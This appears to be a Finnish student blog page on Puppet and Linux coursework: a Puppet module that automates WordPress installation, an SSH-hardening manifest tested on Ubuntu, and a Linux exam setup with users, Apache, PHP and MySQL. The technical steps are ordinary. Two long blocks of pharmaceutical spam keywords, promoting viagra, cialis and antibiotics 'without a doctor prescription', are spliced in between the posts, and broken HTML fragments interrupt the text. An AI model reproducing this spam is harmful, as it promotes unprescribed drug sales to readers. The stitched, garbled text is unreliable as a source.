Tehtävä 6 – Oma puppet moduuli

GitHub – Repository – tässä ovat moduulin manifesteja.

Kurssin pääteeksi viimeisenä tehtävänä on rakentaa oma moduuli.

Vähän ajateltuna päätin valita tällaisen tehtävän, josta on hyötyä jatkossakin. WordPress asentavan moduulin teko kuulosti mielenkiintoiselta, mutta vähän haastavalta. Loppujen lopuksi päätin ryhtyä rakentamaan just sen.

Suunnittelu.

Kuten jokainen WordPress asentanut tietää, asennuksen kokonaisuus koostuu muutamasta asiasta. Ne ovat LAMP-asennus, tietokannan muokkaaminen (uusi käyttäjä, salasanat), WordPress paketin lataus ja asennus. Päätin tehdä oma manifesti jokaiselle vaiheille erikseen. Päätin käyttää myös Puppet Labs Package joka järjestää moduulin niin, että siitä voidaan muutamalla komennolla luoda tar.gz paketti ja asentaa toiseen koneen. Aloitin lataamalla sen.

$ sudo apt-get update 

$ wget https://apt.puppetlabs.com/puppetlabs-release-trusty.deb sudo dpkg -i puppetlabs-release-trusty.deb

$ sudo apt-get install puppet

$  sudo puppet module install puppetlabs-apache

$ sudo puppet module install puppetlabs-mysql

$ mkdir ~/MyModules

$ cd  ~/MyModules

Generoin moduulin rungon jonka sitten lähden muokkaamaan:

$ sudo puppet module generate do-wordpress --skip-interview

–skip-interview ohittaa tietojen syötön metadata.json tiedostoon jossa moduulin metadata sijaitse

Sitten kirjoitin ensimmäisen manifestin, joka käsitellee Apache ja PHP:tä

$ nano ~/MyModules/do-wordpress/manifests/web.pp

Käytä "Takaisin" painiketta katsottua manifestia GitHub.com:issa.

https://github.com/xelsinki/test/blob/master/web.pp

Seuraavaksi kirjoitin manifestin jossa sijaitsee muuttujat.

$ nano ~/MyModules/do-wordpress/manifests/conf.pp

https://github.com/xelsinki/test/blob/master/conf.pp

Ideana on se, että muuttujia vaihdetaan vain tässä tiedostossa. Kun moduuli käynnistetään toisella serverillä niin riittää, että yksityistietoja muokataan vain tässä.

Muuttujia on yhteensä 7:

$root_password – root käyttäjän salasana
$db_name – tietokannan nimi
$db_user – tietokannan käyttäjä
$db_host – host missä tietokanta sijaitse
$db_user_password -tietokannan käyttäjän salasana

ja vielä 2 muuttujia koostuvia mitkä tarvitaan seuraavassa manifestissa.

$db_user_host = "${db_user}@${db_host}" – käyttäjä@host

$db_user_host_db= "${db_user}@${db_host}/${db_name}.*" – käyttäjä@host/tietokanta.*

Seuraavaksi kirjoitin tietokanta moduulin:

$ sudo nano ~/MyModules/do-wordpress/manifests/db.pp

https://github.com/xelsinki/test/blob/master/db.pp

Tässä manifestissa muokataan MySQL Server ja Client tietoja.

– Määritetään root salasana
– Luodaan wordpress tietokanta
– Luodaan wordpress tietokannan käyttäjän
– Annetaan käyttäjälle täydet oikeuden muokata tietokanta

Seuraavaksi latasin wordpress asennus paketin. Valmista pakettia Ubuntun repositorissa ei ole, niin on helpompi ladata sen käsiin do-wordpress/files kansioon. Purasin sen /tmp kansioon, otin kopion wp-config-sample.php tiedostosta do-wordpress/template kansioon ja käytän sen runkona wordpress konfiguraatiossa. Sitten tyhjensin /tmp kansion ja avasin kopioidun tiedoston muokattavaksi.

mkdir ~/MyModules/do-wordpress/files
cd ~/MyModules/do-wordpress/files
wget http://wordpress.org/latest.tar.gz
mkdir ~/MyModules/do-wordpress/templates
cd /tmp
tar -xvzf ~/MyModules/do-wordpress/files/latest.tar.gz
cp /tmp/wordpress/wp-config-sample.php ~/MyModules/do-wordpress/templates/wp-config.php.erb
rm -rf /tmp/wordpress
sudo nano ~/MyModules/do-wordpress/templates/wp-config.php.erb

https://github.com/xelsinki/test/blob/master/wp-config.php.erb

Laitoin sinne muuttujat.

<?php
define('DB_NAME', '<%= scope.lookupvar('wordpress::conf::db_name') %>');
define('DB_USER', '<%= scope.lookupvar('wordpress::conf::db_user') %>');
define('DB_PASSWORD', '<%= scope.lookupvar('wordpress::conf::db_user_password') %>');
define('DB_HOST', '<%= scope.lookupvar('wordpress::conf::db_host') %>');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');

define('AUTH_KEY',         'put your unique phrase here');
define('SECURE_AUTH_KEY',  'put your unique phrase here');
define('LOGGED_IN_KEY',    'put your unique phrase here');
define('NONCE_KEY',        'put your unique phrase here');
define('AUTH_SALT',        'put your unique phrase here');
define('SECURE_AUTH_SALT', 'put your unique phrase here');
define('LOGGED_IN_SALT',   'put your unique phrase here');
define('NONCE_SALT',       'put your unique phrase here');

$table_prefix  = 'wp_';

define('WP_DEBUG', false);

if ( !defined('ABSPATH') )
    define('ABSPATH', dirname(__FILE__) . '/');

require_once(ABSPATH . 'wp-settings.php');

Seuraavaksi kirjoitin wordpress manifestin:

nano ~/MyModules/do-wordpress/manifests/wp.pp

https://github.com/xelsinki/test/blob/master/wp.pp

Tässä manifestissa puretaan ladattu latest.tar.gz (wordpress paketti), kopioidaan sen /var/www kansioon jossa sijaitse apachen pyörittämät web-sivut. Viimeisenä kopioidaan templateista aikaisemmin luomani wp-config.php.erb oikeaan paikaan josta wordpress hae konfiguraatiot.

Viimeisenä moduulin manifestina kirjoitin init.pp jossa märitän käynnistysvuorot:

nano ~/MyModules/do-wordpress/manifests/init.pp

https://github.com/xelsinki/test/blob/master/init.pp

Lopussa kootaan modulin:

$ cd ~/MyModules
$ sudo puppet module build do-wordpress
$ sudo puppet module install ~/MyModules/do-wordpress/pkg/do-wordpress-0.1.0.tar.gz

Nyt voidaan katsoa mitkä modulit ovat asennettu koneeseen.

$ sudo puppet module list

Sitten voi käynnistää modulin:

sudo puppet apply -e 'class {"wordpress":}'

Jos on imestynyt virheitä täytyy poistaa modulin:

sudo puppet module uninstall do-wordpress

Sitten korjata virheellinen manifesti ja koota paketti uudestaan.
(jos muutoksia eivät tule voimaan pitää poista ~/MyModules/do-wordpress/pkg/ kansion, jossa koottu paketti sijaitse. Sitten toistaa kokontumista)

 

Oma pakettini ei toimi vielä, olen just muokkaamassa sen.

Toimivan version julkaisen tässä ja GitHub:issa.

Sain sen toimimaan. Näytän esityksessä ja julkaisen korjaukset huomenna.

Lopputulos: Nyt WordPress voidaan asentaa muutamassa minuutissa.

Lähteet:

https://github.com/puppetlabs/puppetlabs-mysql

https://www.digitalocean.com/community/tutorials/how-to-create-a-puppet-module-to-automate-wordpress-installation-on-ubuntu-14-04

 

escitalopram cialis for sale lexapro 20mg effects of stopping lexapro suddenly viagra tesco canada viagra viagra without a doctor prescription usa acyclovir ointment 5 buy viagra what is cipro side effects of tamoxifen ciprofloxacin used for lowest cialis prices cialis savings card tamoxifen cialis dosage zovirax cream ciprofloxacin coverage levitra generic viagra on line viagra soft viagra single packs zithromax 500 mg what is ciprofloxacin used for cialis 30 day trial coupon acyclovir 800 mg 5 times a day viagra costs generic cialis acyclovir 800mg cialis coupon 20 mg pfizer viagra viagra 100 mg how to wean off lexapro without withdrawals ciprofloxacin when will cialis go generic cialis vs viagra best price viagra female viagra is ciprofloxacin a penicillin acyclovir 200mg cialis pharmacy prices ciprofloxacin eye drops finasteride 5mg side effects cialis free trial cialis voucher ciprofloxacin drops how does viagra work azithromycin for uti acyclovir dosing buy generic viagra tamoxifen and bone pain how to take cialis viagra generico azithromycin tamoxifen citrate levitra 20mg finasteride for women lexapro benefits for women levitra 20 mg precio farmacia cipro drug class azithromycin 500 erfahrungen what is ciprofloxacin prescribed for tamoxifen side effects in women over 55 levitra 20mg cost per pill cipro antibiotics daily cialis lexapro side effects in men vardenafil 20mg viagra vs cialis vs levitra cialis patent expiration date extended viagra without a doctor prescription lexapro medication viagra uk viagra 50mg propecia lexapro para que sirve viagra effects viagra prices cipro for uti viagra natural escitalopram 10 mg cialis dosage recommendations what is cialis ciprofloxacin hcl how long does viagra last 9 levitra at walmart how to get off lexapro cialis coupon azithromycin cost lexapro and weight gain tamoxifen side effects viagra sex order viagra what is finasteride buy levitra online viagra 100 cealis cialis side effects cialis discount ciprofloxacin dosage azithromycin tablets finasteride 5mg tab side effects lexapro tamoxifen cost how much does cialis cost tamoxifen langzeitfolgen viagra activate zovirax lexapro generic cialis prices cialis without a doctor’s prescription lexapro coupons cipro antibiotic viagra en ligne livraison 24h side effects of acyclovir does lexapro cause weight gain ciprofloxacin hcl 500 mg side effects lexapro and weight gain in women ciprofloxacin hcl 500 mg viagra pillen kruidvat liquid cialis ciprofloxacin drug class over the counter viagra cipro side effects ciprofloxacin 500mg viamedic cialis cialis vs viagra herbal viagra cialis testimonials lexapro vs wellbutrin what does viagra do finasteride efectos secundarios tamoxifen and foods to avoid generic for lexapro what does ciprofloxacin treat azithromycin three times a week azithromycin class cialis pricing cialis coupons printable viagra 100mg tablets retail price ciprofloxacin bnf what is cipro used for viagra for sale uk finasteride side effects in men cialis price viagra vs cialis vs levitra cialis 20mg directions what is lexapro what does ciprofloxacin 500mg treat azithromycin 250 mg how long for lexapro to work cialis generic availability lexapro 10 mg what is lexapro used for viagra alternatives online cialis azithromycin 500 mg viagra vs cialis what is escitalopram ciprofloxacin side effects levitra vs viagra azithromycine eg 500 mg bijsluiter sophia viagra cialis coupon print finasteride 5 mg canadian viagra cipro viagra from canada azithromycin 250mg cialis coupons from manufacturer cialis canadian pharmacy nolvadex azithromycin for strep throat zovirax ointment viagra for women azithromycin pregnancy finasteride dosage is azithromycin penicillin 200 cialis coupon cialis alternative cipro 500 cialis patent expiration 2017 azithromycin liquid viagra bestellen viagra vs cialis revatio vs viagra what is acyclovir levitra cialis on line cialis pills viagra price azithromycin vs erythromycin cialis online azithromycin without a doctor’s prescription acyclovir for cold sores side effects of finasteride 5mg what infections does ciprofloxacin treat what is cipro usually prescribed for cialis copay card azithromycine 250 mg buying viagra what is azithromycin used for finasteride tablets azithromycin 5 day dose pack viagra for sale cialas escitalopram effets secondaires zithromax dosage how to wean off lexapro lexapro generic name viagra kaufen viagra canada what is ciprofloxacin what is azithromycin for finasteride medication equipe argentine viagra viagra for men discount viagra viagra medicine levitra prezzo in farmacia azithromycin 250mg tablets 6 pack lexapro manufacturer website side effects of cialis viagra on line no prec propecia side effects azithromycin pediatric dosing zithromax viagra sans ordonnance vardenafil vs viagra ciprofloxacin side effects after age 60 finasteride for hair loss cialis samples overnight cialis coupons ciprofloxacin dosierung cyalis cialis levitra 10 mg prezzo ciprofloxacin spc cipro dangers finasteride 1mg cialis generic lexapro withdrawal symptoms cialis trial escitalopram oxalate ciprofloxacin 250 mg cialis professional cialis dosage strengths cialis or viagra canada cialis viagra generic erectile dysfunction cialis finasteride permanent side effects viagra nebenwirkungen levitra prices generic lexapro viagra pills is tamoxifen chemotherapy levitra vs viagra for hardness levitra online tamoxifen interaction azithromycin coverage finasteride vs dutasteride cost of cialis acyclovir cialis pills for sale thuoc azithromycin ciprofloxacin for dogs escitalopram 10mg acyclovir 400 mg ciprofloxacin class lexapro weight gain cipro side effects in elderly what is viagra tamoxifen nebenwirkungen generic cialis at walmart lexapro vs celexa buy cialis how does acyclovir work zoloft vs lexapro lexapro for anxiety cheap cialis cialis daily cipro uses escitalopram 20 mg what is tamoxifen used for levitra coupons zovirax pills cialis medication acyclovir vs valacyclovir finasteride 5mg side effects mayo clinic cialis 10 mg viagra tablet canadian cialis cialis coupons 2017 acyclovir medication lexapro and weight loss what bacteria does ciprofloxacin kill cialis cheap viagra samples viagra coupons cialis 30 day sample levitra rezeptfrei deutschland lexapro side effects acyclovir dose finasteride long term effects online viagra generic viagra 100mg lexapro and wellbutrin combination therapy azithromycin pregnancy category wholesale cialis tamoxifen therapy escitalopram nebenwirkungen how to use viagra cialis for bph what is lexapro for zithromax antibiotic acyclovir cream acyclovir 800 mg for shingles ciprofloxacin 500 ciprofloxacin side effects in women viagra ohne rezept auf rechnung viagra ohne rezept aus deutschland side effects of ciprofloxacin how does lexapro work side effects of finasteride finasteride reviews cilias levitra 20 mg von bayer ciprofloxacin 500 mg for urinary tract infection is azithromycin viagra alternative levitra bayer 20mg meilleur prix viagra coupon lexapro overdose levitra without a doctor prescription lexapro 10mg side effects of azithromycin 250 mg zovirax for cold sores cialis sample azithromycin medscape acyclovir ointment azithromycin side effects buy cialis online cialis 5mg daily tamoxifen bijwerkingen acyclovir dosage for cold sores azithromycin 250 lexapro side effects men discount cialis acyclovir 800 mg ciprofloxacin dose buy levitra ciprofloxacin ophthalmic solution cialis 20mg cialis for women what is acyclovir for ciprofloxacin uses azithromycin for pneumonia escitalopram side effects what is acyclovir used for viagra dosage acyclovir 400mg finasteride side effects of lexapro levitra vs viagra cialis 5mg tamoxifen side effects in women side effects of lexapro in women zovirax dosage azithromycin and alcohol what is tamoxifen levitra 20 mg cost walmart buy viagra online women viagra azithromycin drug class effects of stopping finasteride what is finasteride used for azithromycin tablet sex viagra for women finasteride results price cialis cialis otc lexapro side effects in women escitalopram 10 mg para que sirve utilisation viagra lexapro cipro and tendonitis cialis tadalafil cialis from canada generic levitra ciprofloxacin 500mg antibiotics side effects azithromycin dosage finasteride 5 mg tab cialis effects generic viagra side effects of lexapro 10 mg lexapro withdrawal azithromycin z pak lexapro dosing cialis website cialis for men side effects of ciprofloxacin 500 mg viagra pill finasteride hair loss azithromycin 500 antibiotic ciprofloxacin finasteride 5mg cialis patent expiration cheap levitra generic levitra vardenafil 20mg common side effects of ciprofloxacin 500 mg stopping lexapro lexapro dosages ciprofloxacin nebenwirkungen what does finasteride do cialis for daily use viagra receptfritt what is azithromycin pfizer viagra coupons from pfizer ciprofloxacin hydrochloride ophthalmic generic cialis tadalafil is lexapro a controlled substance ciprofloxacin 250mg acyclovir for shingles generic for cialis viagra side effects how long for azithromycin to take effect free cialis viagra wiki side effects of azithromycin ciprofloxacin 500 mg tabletten viagra cialis viagra tablets side effects of viagra natural viagra wellbutrin and lexapro buy generic levitra ciprofloxacin hydrochloride viagra cost cialis reviews finasteride effets secondaires cialis samples acyclovir side effects finasteride side effects viagra what works better than viagra tamoxifen and weight gain lexapro bula viagra substitute post finasteride syndrome zithromax z-pak ciprofloxacin hcl 500 mg tab what does azithromycin treat cialis 20 mg viagra 100mg azithromycin 500mg cialis cost cialis 5 mg lexapro reviews cheap viagra cipro dosage weaning off lexapro azithromycin eye drops levitra dosage lexapro 5mg azithromycin uses levitra 20 mg cost of viagra azithromycine levitra coupon tamoxifen lawsuits lexapro vs zoloft first few days on lexapro finasteride and enlarged prostate azithromycin 250 mg treatment ciprofloxacin 500 mg lexapro dosage cialis canada celexa vs lexapro where to buy viagra acyclovir dosage how does cialis work levitra erfahrungen ciprofloxacin 500mg tablets ciprofloxacin 500mg antibiotics free viagra viagra wikipedia cialis generic tadalafil withdrawal from lexapro viagra online

Aloitan tehtävän asentamalla mun läppäriin pysyvän Xubuntu 16.04 LTS rinnakkais käyttöjärjestelmänä. Syy tähän on se, että olen niin rakastunut Linuxiin tässä muutamassa kuukaudessa, että päätimme muuttaa yhteen.

Löysin googlamalla GitHub repository jossa säilytetään Puppet moduleita GOV::UK

https://github.com/alphagov/govuk-puppet/tree/master/modules

The United States Government Configuration Baseline (USGCB) – Red Hat Enterprise Linux 5 Desktop Content: https://usgcb.nist.gov/usgcb/rhel/download_rhel5.html

PUPPET MODULES (Change Log) – 2011.07.26

sha1
0D06228CF9EA29EC931EAA6D6E9C9EA7B4AEABB1
sha256
ABE10B94C4C1D0D2F91A85380ABEA54D25EA549A218699F33C9C009BFE076479

Tarkistan SHA1 summan:

$ sha1sum puppet-sdc-dist.tar.gz

0d06228cf9ea29ec931eaa6d6e9c9ea7b4aeabb1 puppet-sdc-dist.tar.gz

Puran arkiston:

$ tar -xvf puppet-sdc-dist.tar.gz

Valitsin manifest “ssh” joka asentaa openssh-client ja openssh-server

Tässä on alkuperäinen:

class ssh {
# GuideSection
# 3.5.2 3.5.2.1 3.5.2.3 3.5.2.4 3.5.2.5 3.5.2.6 3.5.2.7 3.5.2.8
# Configure ssh server
package {
“openssh-clients”:
ensure => installed;
“openssh-server”:
ensure => installed;
}

service {
“sshd”:
ensure    => true,
enable    => true,
hasstatus => true,
require   => Package[“openssh-server”];
}

augeas {
“sshd_config, 3.5.2.*”:
context => “/files/etc/ssh/sshd_config”,
lens    => “sshd.lns”,
incl    => “/etc/ssh/sshd_config”,
changes => [
“set Protocol 2”,
“set ClientAliveInterval 900”,
“set ClientAliveCountMax 0”,
“set IgnoreRhosts yes”,
“set HostbasedAuthentication no”,
“set PermitRootLogin no”,
“set PermitEmptyPasswords no”,
“set Banner /etc/issue”,
“set PermitUserEnvironment no”,
“set Ciphers aes128-ctr,aes192-ctr,aes256-ctr”,
];
}
}

 

 

Kopioin sen /etc/puppet/modules/ssh/manifests/init.pp

Käynnistin class ssh:

 

 

 

 

Tuli virheilmoitus.

Tarkistin onko Ubuntulla “openssh-clients” nimistä pakettia?

Sudo apt-get install openssh + <TAB>

user@hp:/etc/puppet/modules/ssh/manifests$ sudo apt-get install openssh-

openssh-blacklist openssh-client openssh-known-hosts openssh-sftp-server

openssh-blacklist-extra openssh-client-ssh1 openssh-server

 

Paketti on pikkasen eriniminen. Muokan manifestin oikeaksi.

user@hp:/etc/puppet/modules/ssh/manifests$ sudo nano init.pp

user@hp:/etc/puppet/modules/ssh/manifests$ sudo puppet apply -e ‘class {“ssh”:}’

Notice: Compiled catalog for hp.home in environment production in 0.98 seconds

Error: /Stage[main]/Ssh/Service[sshd]: Could not evaluate: Could not find init script or upstart conf file for ‘sshd’

Notice: Finished catalog run in 0.15 seconds

user@hp:/etc/puppet/modules/ssh/manifests$

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Silti tule virheilmoitus.

 

 

Yritän vielä etsiä mistä tämä virheilmoitus voi johtua.

 

side effects of finasteride 5mg ciprofloxacin class cialis 20mg levitra 20 mg precio farmacia finasteride 5mg women viagra finasteride medication lexapro side effects in men finasteride vs dutasteride cialis 5mg viagra vs cialis zoloft vs lexapro tamoxifen citrate azithromycin without a doctor’s prescription order viagra effects of stopping finasteride viagra generic viagra for women how to wean off lexapro without withdrawals acyclovir cream azithromycin three times a week sex viagra for women cealis azithromycin dosage azithromycin 500 viagra ohne rezept aus deutschland cialis samples overnight viagra for sale cialis online what does azithromycin treat viagra on line zovirax dosage wholesale cialis tamoxifen side effects in women viagra generico equipe argentine viagra cialis trial ciprofloxacin 500mg azithromycin for pneumonia acyclovir dosing what is azithromycin for cipro 500 side effects of lexapro lexapro benefits for women azithromycin drug class how to wean off lexapro herbal viagra pfizer viagra coupons from pfizer what is lexapro for side effects of lexapro in women finasteride dosage azithromycin 500 erfahrungen azithromycin lexapro does lexapro cause weight gain cialis dosage recommendations cialis vs viagra vardenafil vs viagra tamoxifen nebenwirkungen finasteride tablets side effects of ciprofloxacin is tamoxifen chemotherapy acyclovir for cold sores viagra online acyclovir 200mg best price viagra ciprofloxacin drops cipro side effects in elderly what is finasteride used for cialis pharmacy prices lexapro manufacturer website side effects of finasteride lexapro side effects men when will cialis go generic acyclovir 800 mg 5 times a day what is acyclovir cialis 10 mg what is acyclovir used for cialis vs viagra cialis pills tamoxifen and bone pain acyclovir ointment cheap levitra ciprofloxacin nebenwirkungen cialis daily cialis or viagra viagra 50mg azithromycin pregnancy levitra online escitalopram 10mg lexapro generic azithromycin for uti viagra pills cialis testimonials what does finasteride do cialis generic tadalafil finasteride and enlarged prostate ciprofloxacin 500mg antibiotics side effects 200 cialis coupon viagra for sale uk first few days on lexapro cialis dosage strengths viagra coupon lowest cialis prices cialis coupons from manufacturer ciprofloxacin 500mg tablets escitalopram oxalate how does acyclovir work viagra effects over the counter viagra azithromycin side effects azithromycin 5 day dose pack acyclovir 800mg cialis copay card cialis sample cialis effects viagra 100 mg ciprofloxacin ciprofloxacin 500 finasteride 1mg cialis 20 mg viagra prices cialis prices cialis 20mg directions liquid cialis cost of viagra viagra soft cialis free trial azithromycin medscape escitalopram nebenwirkungen viagra sans ordonnance lexapro overdose lexapro vs wellbutrin ciprofloxacin used for levitra vs viagra canadian viagra finasteride 5mg side effects mayo clinic what is azithromycin tamoxifen side effects in women over 55 finasteride long term effects ciprofloxacin bnf cialis dosage azithromycin pediatric dosing cialis coupons viagra dosage finasteride 5 mg tab cialis patent expiration cost of cialis cialis pills for sale utilisation viagra levitra generic cialis for men viagra nebenwirkungen viagra without a doctor prescription usa finasteride permanent side effects tamoxifen langzeitfolgen how long does viagra last cialis canada viagra tesco viagra alternative erectile dysfunction cialis propecia side effects azithromycin vs erythromycin finasteride reviews sophia viagra cialis 30 day trial coupon generic levitra vardenafil 20mg what is cipro usually prescribed for cialis professional canadian cialis viagra alternatives cyalis cialis patent expiration date extended ciprofloxacin dosage escitalopram effets secondaires what is finasteride cialis canadian pharmacy finasteride 5mg tab zovirax ointment tamoxifen bijwerkingen buy cialis buy levitra levitra without a doctor prescription what does ciprofloxacin 500mg treat common side effects of ciprofloxacin 500 mg ciprofloxacin hcl 500 mg acyclovir ciprofloxacin drug class levitra 20 mg von bayer ciprofloxacin side effects in women what does ciprofloxacin treat lexapro 5mg how does viagra work cialis for women viagra without a doctor prescription generic cialis at walmart how to use viagra 9 levitra at walmart viagra ohne rezept auf rechnung zovirax for cold sores buy cialis online viagra 100 ciprofloxacin 500 mg tabletten lexapro vs celexa viagra natural viagra cost viagra canada azithromycin eye drops generic for cialis viamedic cialis tamoxifen side effects escitalopram 10 mg para que sirve azithromycin and alcohol finasteride effets secondaires azithromycin 250 mg levitra 20mg viagra 100mg tablets retail price viagra pillen kruidvat viagra kaufen levitra 20 mg azithromycine eg 500 mg bijsluiter zithromax antibiotic cipro for uti zithromax azithromycin cost how does cialis work zithromax 500 mg tamoxifen and foods to avoid where to buy viagra cipro antibiotics levitra vs viagra finasteride side effects in men cialis coupons printable lexapro dosages cialis patent expiration 2017 ciprofloxacin eye drops antibiotic ciprofloxacin what bacteria does ciprofloxacin kill lexapro bula what is ciprofloxacin used for viagra on line no prec buy viagra viagra vs cialis vs levitra lexapro weight gain viagra samples ciprofloxacin spc cipro uses acyclovir dosage for cold sores lexapro withdrawal viagra sex weaning off lexapro cialis samples is lexapro a controlled substance lexapro and wellbutrin combination therapy cialis medication cialis 30 day sample levitra coupon acyclovir 400 mg zithromax dosage viagra bestellen azithromycin class levitra dosage free viagra viagra tablets what is acyclovir for azithromycin tablets ciprofloxacin dosierung azithromycin z pak cipro and tendonitis lexapro dosage acyclovir ointment 5 how to get off lexapro levitra 20mg cost per pill thuoc azithromycin lexapro vs zoloft generic viagra 100mg cialis generic availability viagra uk levitra coupons lexapro and weight loss azithromycin tablet canada cialis viagra wikipedia cipro dangers what works better than viagra finasteride ciprofloxacin dose lexapro for anxiety levitra cialis from canada zithromax z-pak viagra tablet azithromycin 500mg how to take cialis generic viagra what is ciprofloxacin cialis cost how long for azithromycin to take effect what is cialis lexapro 10mg finasteride efectos secundarios lexapro 20mg cilias daily cialis viagra side effects acyclovir dosage escitalopram ciprofloxacin 500 mg ciprofloxacin ophthalmic solution is azithromycin penicillin what does viagra do viagra single packs lexapro medication ciprofloxacin side effects cialis for sale ciprofloxacin 250 mg ciprofloxacin hcl 500 mg side effects effects of stopping lexapro suddenly what is cipro used for escitalopram side effects azithromycin coverage how much does cialis cost cialis for daily use what is azithromycin used for what is lexapro used for viagra receptfritt wellbutrin and lexapro cheap cialis tamoxifen cost escitalopram 20 mg cialis side effects of viagra tamoxifen and weight gain tamoxifen interaction finasteride 5mg side effects price cialis viagra medicine cialis website side effects of acyclovir canada viagra what is tamoxifen used for finasteride hair loss stopping lexapro generic cialis lexapro side effects cialis side effects buy levitra online cialis coupon 20 mg cialis savings card post finasteride syndrome azithromycin for strep throat finasteride results ciprofloxacin hcl viagra wiki ciprofloxacin side effects after age 60 lexapro dosing cialis 5 mg acyclovir for shingles vardenafil 20mg is ciprofloxacin a penicillin finasteride side effects viagra from canada azithromycin liquid azithromycin uses zovirax buy generic viagra levitra prices free cialis buy generic levitra cialis cheap withdrawal from lexapro lexapro and weight gain in women finasteride 5 mg lexapro coupons online cialis azithromycin 250mg viagra substitute cialas viagra costs online viagra propecia ciprofloxacin 250mg acyclovir dose side effects of lexapro 10 mg cipro antibiotic viagra en ligne livraison 24h ciprofloxacin hydrochloride tamoxifen lawsuits cialis coupons 2017 nolvadex lexapro withdrawal symptoms lexapro generic name female viagra what is viagra levitra rezeptfrei deutschland levitra vs viagra for hardness side effects of azithromycin 250 mg cialis without a doctor’s prescription azithromycin 250 finasteride for women viagra price azithromycin pregnancy category lexapro 10 mg generic cialis tadalafil cialis discount discount viagra tamoxifen therapy acyclovir medication cialis alternative zovirax cream levitra 10 mg prezzo side effects of cialis tamoxifen discount cialis side effects of ciprofloxacin 500 mg azithromycine acyclovir vs valacyclovir cialis pricing cialis on line escitalopram 10 mg celexa vs lexapro buying viagra what is escitalopram viagra vs cialis vs levitra what is cipro viagra cialis azithromycin 250mg tablets 6 pack cialis for bph azithromycine 250 mg cialis voucher ciprofloxacin 500mg antibiotics acyclovir side effects finasteride for hair loss viagra activate buy viagra online how long for lexapro to work acyclovir 400mg cialis otc viagra pill levitra prezzo in farmacia lexapro side effects in women cialis 5mg daily levitra erfahrungen ciprofloxacin hcl 500 mg tab cialis coupon print revatio vs viagra lexapro reviews ciprofloxacin 500 mg for urinary tract infection what is lexapro cipro dosage generic for lexapro viagra is azithromycin cipro drug class cialis tadalafil cipro pfizer viagra viagra for men levitra 20 mg cost walmart ciprofloxacin for dogs what is ciprofloxacin prescribed for acyclovir 800 mg for shingles lexapro and weight gain azithromycin 500 mg side effects lexapro acyclovir 800 mg generic lexapro ciprofloxacin uses levitra bayer 20mg meilleur prix cialis generic what infections does ciprofloxacin treat cialis price cheap viagra cipro side effects side effects of tamoxifen generic levitra zovirax pills lexapro para que sirve viagra 100mg cialis coupon ciprofloxacin hydrochloride ophthalmic viagra coupons viagra vs cialis side effects of azithromycin how does lexapro work natural viagra what is tamoxifen ciprofloxacin coverage azithromycin 250 mg treatment cialis reviews

Linux perusteet kurssin koe

Tehtäväksi valitsin seuraava koe:

http://terokarvinen.com/2012/linux-koe-tyoasemat-ja-tietoverkot-25

Me Karttakatu Oy:ssä teemme karttoihin liittyviä weppisovelluksia. Olemme muutaman hengen yritys.

Asenna työasema, jolla tavallisimmat toimistotyöt onnistuvat (weppisurffailu, tekstinkäsittely). (Asentuessa voit käydä kommentoimassa kavereiden blogeja).

Työntekijämme ovat Einari Vähäkäähkä, Pekka Winha, Åke Andersson ja Leila Laila. He haluavat kehittää PHP-kotisivuja etäkäyttöyhteydellä. Asenna tarvittavat palvelut ja tee esimerkkisivut.

Asenna kaikkien käyttäjien käyttöön skripti (shell script) nimeltä “mystatus”, joka näyttää vapaan levytilan (df -h) ja koneen ip-osoitteen.

Tähtäätkö huipputulokseen? Pekka Winha haluaa käyttää MySQL tietokantaa. Asenna hänelle MySQL-tietokanta ja siihen PhpMyAdmin-weppiliittymä.

 

Ratkaisu:

Olen asentanut labrassa 5004 koneseen Xubuntu 14.04 Live USB-tikulta. Asennus sujui hyvin.

sitten päivitetään pakettihallinta komennolla:

sudo apt-get update

pitää asentaa ssh-server ja luoda käyttäjät, seurava komento on:

sudo apt-get install openssh-server

Terminal näytti kuinka paljon tilaa ssh-server vie ja kysyi vahvistusta.

Hetken päästä asennus on valmis.

Seuraavaksi olen luonnut käyttäjä pekka komennolla:

sudo adduser pekka

asennus kysyi pekalle salasanan,

Full name: Pekka Winha,

muut tiedot jätin tyhjänä.

Samoin tein muille käyttäjille: Einari Vähäkäähkä, Åke Andersson ja Leila Laila

sudo adduser einari

sudo adduser ake

sudo adduser leila

tarkistin:

ssh ake@localhost

annoin salasanan ja rudulle imestyi

ake@hp:¨~$

tämä tarkoittaa että ake on kirjautunut ssh palvelimelle koneseen hp.

Konennolla exit olen sulkenut yhteyden.

Seuravaaksi pitää asentaa Apache, MySQL, PHP

sudo apt-get install apache2

Asennuksen jälkeen tarkistin web selaimessa:

http://localhost

Tuli Apache2 Ubuntu Default Page -sivu. Apache toimii.

Avasin käyttäjille kotisivuhakemiston sallituksi

sudo a2enmod userdir

Käynistin apache uudelleen.

service apache2 restart                       FAIL

unohdin laittaa sudo eteen.

sudo service apache2 restart              OK

Seuravaksi asensin PHP

sudo apt-get install php5

Muokkasin “configuration” tiedostoa

/etc/apache2/mods-enabled/php5.conf

Tässä julkaisen Puppet Manifestit ja Moduulit: https://github.com/xelsinki/puppet

<p><a href="http://gomummi.com/index.php/2016/11/29/tehtava-1/">Tehtävä 1</a></p>
<p><a href="http://gomummi.com/index.php/2016/11/29/tehtava-2/">Tehtävä 2</a></p>
<p><a href="http://gomummi.com/index.php/2016/11/29/tehtava-3/">Tehtävä 3</a></p>
<p><a href="http://gomummi.com/index.php/2016/11/29/tehtava-4/">Tehtävä 4</a></p>
<p><a href="http://gomummi.com/index.php/2016/11/29/tehtava-5/">Tehtävä 5</a></p>
<p><a href="http://gomummi.com/index.php/2016/12/13/tehtava-6-oma-puppet-moduli/">Tehtävä 6 – Puppet module</a></p>
<p> </p>
</div>
” data-medium-file=”” data-large-file=”” class=”alignnone size-full wp-image-80″ src=”https://pantsesnyi.files.wordpress.com/2016/04/screenshot-30-08-2016-11-44-40.png?w=720″ sizes=”(max-width: 645px) 100vw, 645px” srcset=”https://pantsesnyi.files.wordpress.com/2016/04/screenshot-30-08-2016-11-44-40.png 645w, https://pantsesnyi.files.wordpress.com/2016/04/screenshot-30-08-2016-11-44-40.png?w=150 150w, https://pantsesnyi.files.wordpress.com/2016/04/screenshot-30-08-2016-11-44-40.png?w=300 300w” alt=”Screenshot – 30.08.2016 – 11.44.40″ data-recalc-dims=”1″ />

Käynistinapache uudelleen

sudo service apache2 restart

Seuraavaksi:

sudo apt-get install mysql-server

sudo apt-get install phpmyadmin

Valitsin salasana phpmyadmin:ille

Kirjauduin mysql:iin

mysql -u root -p

rudulle tuli

